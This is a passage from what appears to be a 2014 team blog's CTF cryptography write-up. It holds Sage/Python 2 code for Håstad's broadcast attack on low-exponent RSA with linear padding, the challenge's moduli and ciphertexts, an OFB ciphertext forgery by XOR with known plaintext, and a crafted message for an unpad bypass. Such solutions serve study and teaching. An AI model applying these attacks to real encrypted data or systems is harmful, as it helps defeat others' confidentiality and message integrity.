        for i in range(e):
            gArray[i] = TArray[i]*(pow(aArray[i]*x + bArray[i],e) - cArray[i])
        g = sum(gArray)
        g = g.monic()
        # Use Sage's inbuilt coppersmith method
        roots = g.small_roots(epsilon=eps)
        if(len(roots)== 0):
            print("No Solutions found")
            return -1
        return roots[0]

    else:
        print("CiphertextArray, ModulusArray, and the linear padding arrays need to be of the same length," +
         "and the same size as the public exponent")

e=3
n=[0x78bd9f34a3c3f3d625cdf446ecbadabedb9cf050033ebb94a9a7448b83cd080445c5edc1fc2bba8a2437d22bc7f48cdb6975b043de0ba53f3437ec532f2dcbe631b9bcc0ae151372838b0d9a62f81b04277bae763d15ae6ad33320bdfb06fea209d19ee26df0d875333a2995a7e1eb3b3388ea5ebece6cca299cc16be2e55967L,0x7842f202b73df268f83153c8cf972960b603135bd15494324a5f40e9717cce49153645ea4c27e13c74738612bab08526a7f461de9b5fe3454dab6901584106c2eba0a57a23bebf630d6e8d84bbece244635945d01997bbec247b54e0dd864706a9e7658d3fef2e7878808c868ede49f98c0de818b2d8ce3badbc1a3a5086c2b9L,0x88910b996761ed66b5bd999592e45ff3015d0d4e96044fb2d680d4fd677a0422b226c6b03ec2f6ad75166e4f58d1076e864610d02dec20b2008e0bc7911a04b9ef27b5de71a6910d739eb299bf0228e1c79bedd5c4d65bb728584b483f76fd72145229b4c6857177f59be7a64312ff8e1682b08a638a15eca4a2f83d3f71724bL]
c=[0x57855442c1fb4f9f5ca98cdfcb8170ac33a853815e0b2a9eb1515fead16a9a0428d0f48dbfeb661b4152280557c69fc3a7603c7ea1ff5b7012d4519384f8f81d19a2927d5d06f139c47bdaec829f450dd41edf4b3a409f73aef3b3f4b2ea975f309c01e72f6f3763b659b8faaf13febde59a20d3fa00355b2e92201792b0290fL,0x6d5662d53e49b5ddda4d95c6dc93fc38d8c8dbe4ce22c548e968a3d8461859fa02c959e29647c65983d964fc32f9b78bdc096fff8bc41f3e2eed4706172d2148410a354fa90d585129af3f5a2b99ebf22699af229c192e96572950c6a441d2b9c8cf58be2e4d3aeb24ae55a7faa9088f267a8b1c58fd007410095d4bdd19e713L,0x30bd46abf81fe57644703465990c6261eee35da9ecb613a94eb1fa61f301f789af1e4306160ca76a4c08018fe2eb6396e4878cc8be1acbfadd569c027ce09bf3f7e04294efc4f77e713d61824844697887324f54e4c973789017a7a9ab3c6f45ebb7a1546a37a4cac746c7ae3b659df9487fb7dd9f6e97bfd56457fc9ff3a508L]
a=[0x8dc7d9dc47696c90b270dee98663a13a195376b24faa2ef71fdcaa387198873f7f58df7fc36d53b186e53158941854a957abb6e38ec47a167f5dbe17f01ecef7L,0x996517bf35ddfd7b0e65a86f7b1799916e627da39c3fde7aac66b991587d6a05b85293dee552433384526e9c15f41567ea5c9ff33c5681ba4448aa87fb00abd7L,0xcfbb0be1757c12e12ab694878c907691820b571b8b7c17df5b8102d6e6ac46024377e44af611d4039dcf03bd978bd7f7fbaf2a5cf3f465578dd160f29827e2bfL]
b=[0x8927e3435852fb647959f2d0bcd9fa5fb1b5df65d52ac7776340d5bb64ebb023737815b62fbeae29bce489d223eb11e43495847f95e0edc9d8f92d18b2623bd3L,0xf2f95d344c6375e3a12e58940aa49abf49476a40b7d4bbb796ed108084f183c3550611efc2a021b3f42b50316307f75d172549ea1ea5b4f47e1fbd2a9c7357ffL,0xc909a74caaf85f5cc686851916992a37b31b3b81fab468cb73e97265eb7189f8f27a81072c7188ef11b618adb8cd1492ca24bece2848da67ba0b2c96ae6696d5L]

msg=linearPaddingHastads(c,n,a,b)
print hex(msg)[2:-1].decode('hex')

d='ecb3d7bf1bc7ad08a8493c893d002f91e78a81a625f6df50c0682c869030f075825a8807b5d9abf7ca883d60eb727f9a' #OFB密文
d1=d[-32:].decode('hex')
d2='000000006d6f726e696e670505050505'.decode('hex')
d3='0000000061667465726e6f6f6e030303'.decode('hex')

x=strxor(d1,d2)
x=strxor(x,d3)
x=d[:-32]+x.encode('hex')

print x

warmup

利用unpad来绕过

message="706c656173652073656e64206d6520796f757220666c61676161616161616161706c656173652073656e64206d6520796f757220666c6167616161616161616173656520796f75206174207468726565206f27636c6f636b20746f6d6f72726f770f0f0f0f0f0f0f0f0f0f0f0f0f0f0f366e6e6e6e6e6e6e6e6e6e6e6e6e6e78366e6e6e6e6e6e6e6e6e6e6e6e6e6e78"
tagged by none  

Comment Closed.

© 2014 ::L Team::